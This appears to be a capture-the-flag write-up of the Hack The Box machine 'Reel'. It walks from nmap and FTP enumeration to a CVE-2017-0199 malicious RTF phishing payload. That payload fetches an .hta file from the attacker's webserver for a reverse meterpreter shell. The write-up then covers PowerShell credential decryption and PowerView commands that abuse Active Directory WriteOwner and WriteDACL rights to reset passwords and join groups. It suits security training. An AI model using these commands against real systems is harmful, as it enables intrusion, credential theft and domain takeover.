Enumeration
A simple Nmap scan shows that 3 ports are open:
Starting Nmap 7.70 ( https://nmap.org ) at 2018-11-10 11:40 EST
Nmap scan report for 10.10.10.77
Host is up (0.10s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
22/tcp open ssh OpenSSH 7.6 (protocol 2.0)
| ssh-hostkey:
| 2048 82:20:c3:bd:16:cb:a2:9c:88:87:1d:6c:15:59:ed:ed (RSA)
| 256 23:2b:b8:0a:8c:1c:f4:4d:8d:7e:5e:64:58:80:33:45 (ECDSA)
|_ 256 ac:8b:de:25:1d:b7:d8:38:38:9b:9c:16:bf:f6:3f:ed (ED25519)
25/tcp open smtp?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, Kerberos, LDAPBindReq, LDAPSearchReq, LPDString, NULL, RPCCheck, SMBProgNeg, SSLSessionReq, TLSSessionReq, X11Probe:
| 220 Mail Service ready
| FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, RTSPRequest:
| 220 Mail Service ready
| sequence of commands
| sequence of commands
| Hello:
| 220 Mail Service ready
| EHLO Invalid domain address.
| Help:
| 220 Mail Service ready
| DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
| SIPOptions:
| 220 Mail Service ready
| sequence of commands
| sequence of commands
| sequence of commands
| sequence of commands
| sequence of commands
| sequence of commands
| sequence of commands
| sequence of commands
| sequence of commands
| sequence of commands
|_ sequence of commands
|_smtp-commands: Couldn't establish connection on port 25
Luckily the ftp allows anonymous login without a password.
Connected to 10.10.10.77.
220 Microsoft FTP Service
Name (10.10.10.77:root): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> cd Documents
250 CWD command successful.
ftp> ls -la
200 PORT command successful.
125 Data connection already open; Transfer starting.
05-28-18 11:19PM 2047 AppLocker.docx
05-28-18 01:01PM 124 readme.txt
10-31-17 09:13PM 14581 Windows Event Forwarding.docx
226 Transfer complete.
The file readme.txt looks interesting and gives us a critical piece of information:
please email me any rtf format procedures - I'll review and convert.
new format / converted documents will be saved here.
It seems like we have to generate a malicious RTF file and send it to a specific user via the SMTP Server running on port 25. Nmap has a script to enumerate users on a SMTP server and we can run it like this:
$ nmap --script smtp-enum-users.nse 10.10.10.77
Starting Nmap 7.70 ( https://nmap.org ) at 2018-11-10 12:01 EST
Nmap scan report for 10.10.10.77
Host is up (0.031s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
25/tcp open smtp
| smtp-enum-users:
| root
| admin
| administrator
| webadmin
| sysadmin
| netadmin
| guest
| user
| web
|_ test
Exploit
I used this tool https://github.com/bhdresh/CVE-2017-0199 https://www.exploit-db.com/exploits/41894/ to create a malicious RTF file in combination with a .hta metasploit module to deliver my payload and receive a reverse meterpreter.
Generate the .rtf file like this:
python 41894.py -M gen -w document.rtf -u http://10.10.14.11/deliver.hta
- -M gen is the mode “generate”
- -w is the output for the .rtf file
- -u url for remote .hta file for payload delivery (my webserver in this case)
Now start the handler and server in metasploit:
Once the http server and handler are running we can simply send a spoofed email with the sendEmail program.
After a short time we should receive our new meterpreter session:
Privilege Escalation
While obtaining the user flag we immediately see a painfully suspicious file laying on nico’s Desktop called “cred.xml”.
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
<Obj RefId="0">
<TN RefId="0">
<T>System.Management.Automation.PSCredential</T>
<T>System.Object</T>
</TN>
<ToString>System.Management.Automation.PSCredential</ToString>
<Props>
<S N="UserName">HTB\Tom</S>
<SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be5870730000000002000000000003660000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a00000001000000065d20f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692</SS>
</Props>
</Obj>
</Objs>
It’s nothing more than a PowerShell credential stored as a xml file. The username is Tom and we can retrieve the plaintext password with some quick PS commands:
PS C:\users\nico\desktop> $credxmlpath = "C:\Users\nico\desktop\cred.xml"
PS C:\users\nico\desktop> $credential = Import-CliXml $credxmlpath
PS C:\users\nico\desktop> $PlainPassword = $credential.GetNetworkCredential().Password
PS C:\users\nico\desktop> $PlainPassword
1ts-mag1c!!!
At this point i was able to login via ssh as the user Tom with the password 1ts-mag1c!!!
.
Bloodhound
On Tom’s Desktop there is a folder called Bloodhound and a file note.txt which reads as follows:
administrator@REEL C:\Users\tom\Desktop\AD Audit>type note.txt
Findings:
Surprisingly no AD attack paths from user to Domain Admin (using default shortes
t path query).
Maybe we should re-run Cypher query against other groups we've created.
BloodHound/SharpHound is a toolset to identify user relationships in Active Directory environments, which can potentially lead an attacker to escalating their privileges in the network.
Normally you need Administrator privileges to be able to run the tool but fortunately the output was left inside the BloodHound folder aswell.
You can download and export the file called “acls.csv” into your own instance of BloodHound and identify attack paths locally.
As stated in the note there is no path from the user tom or nico towards Domain Admin. However there is a path from Tom to Claire, and from Claire to the group backup_admins.
Changing claire’s password
Tom has the writeOwner permission and is Owner of the user Claire, that basically means we have full control over Claire’s account. The easiest way would be to change her password and login through SSH. from adsecurity.org:
WriteOwner:: Provides the ability to take ownership of an object. The owner of an object can gain full control rights on the object.
# Load PowerView.ps1 into memory
PS > . .\PowerView.ps1
# Set Tom as the DomainObjectOwner of Claire
PS > Set-DomainObjectOwner -Identity 'CN=Claire Danes,CN=Users,DC=HTB,DC=LOCAL' -OwnerIdentity 'CN=Tom Hanson,CN=Users,DC=HTB,DC=LOCAL'
# Add Acl Entry
PS > Add-DomainObjectAcl -TargetIdentity 'CN=Claire Danes,CN=Users,DC=HTB,DC=LOCAL' -PrincipalIdentity 'CN=Tom Hanson,CN=Users,DC=HTB,DC=LOCAL'
# Create a strong password
PS > $pw = Convertto-securestring 'imthoe12!' -asplaintext -force
# Set new password for Claire
PS > set-domainuserpassword -Identity 'CN=Claire Danes,CN=Users,DC=HTB,DC=LOCAL' -accountpassword $pw
If you try to chose a weak password, you will be greeted with an error telling you to check the password policy requirements.
With the command Get-ADDefaultDomainPasswordPolicy
you can see the current requirements for the user.
ComplexityEnabled : True
DistinguishedName : DC=HTB,DC=LOCAL
LockoutDuration : 00:30:00
LockoutObservationWindow : 00:30:00
LockoutThreshold : 0
MaxPasswordAge : 42.00:00:00
MinPasswordAge : 1.00:00:00
MinPasswordLength : 7
objectClass : {domainDNS}
objectGuid : 7e0c2d42-92e8-4303-9654-12a98b19047b
PasswordHistoryCount : 24
ReversibleEncryptionEnabled : False
So the password has to be minimum 7 characters and meet the complexity rules, https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/password-must-meet-complexity-requirements.
I chose my password as “imthoe12!” and managed to login via SSH.
Adding Claire to backup_admins
The next goal was to gain control of the backup_admins group. Through the BloodHound output I identified that Claire has WriteDACL permissions for backup_admins, which ultimately gives me full control over the group.
from adsecurity.org:
WriteDACL: Provides the ability to modify security on an object which can lead to Full Control of the object.The right to modify the DACL in the object security descriptor.
PS C:\Users\claire> $id = [Security.Principal.WindowsIdentity]::GetCurrent()
PS C:\Users\claire> $user = Get-ADUser -Identity $id.User
PS C:\Users\claire> Add-ADGroupMember -Identity "Backup_admins" -Members $user
After executing these commands I still wasn’t able to read the Administrator folder suprisingly. With some trial and error I figured that the new group only takes affect after logging in again. So I exited SSH and logged in again to finally have access to the admin folder!
A quick way to check your groups:
Get-ADPrincipalGroupMembership claire | select name
Root
It seems only the Administrator himself can read the root flag.
There is a folder called Backup Scripts
on the Administrator Desktop with some powershell scripts inside. After a quick glance over the files I found the Admin password laying around in plaintext inside BackupScript.ps1
. Jackpot! A very bad practice but a treasure for me.
Finally I logged in as Administrator via SSH with the password Cr4ckMeIfYouC4n!
and grabbed the root flag!
Resources
https://github.com/bhdresh/CVE-2017-0199 https://adsecurity.org/?p=3658 https://wald0.com/?p=112 https://github.com/gdedrouas/Exchange-AD-Privesc https://github.com/BloodHoundAD/BloodHound https://www.harmj0y.net/blog/redteaming/powerview-2-0/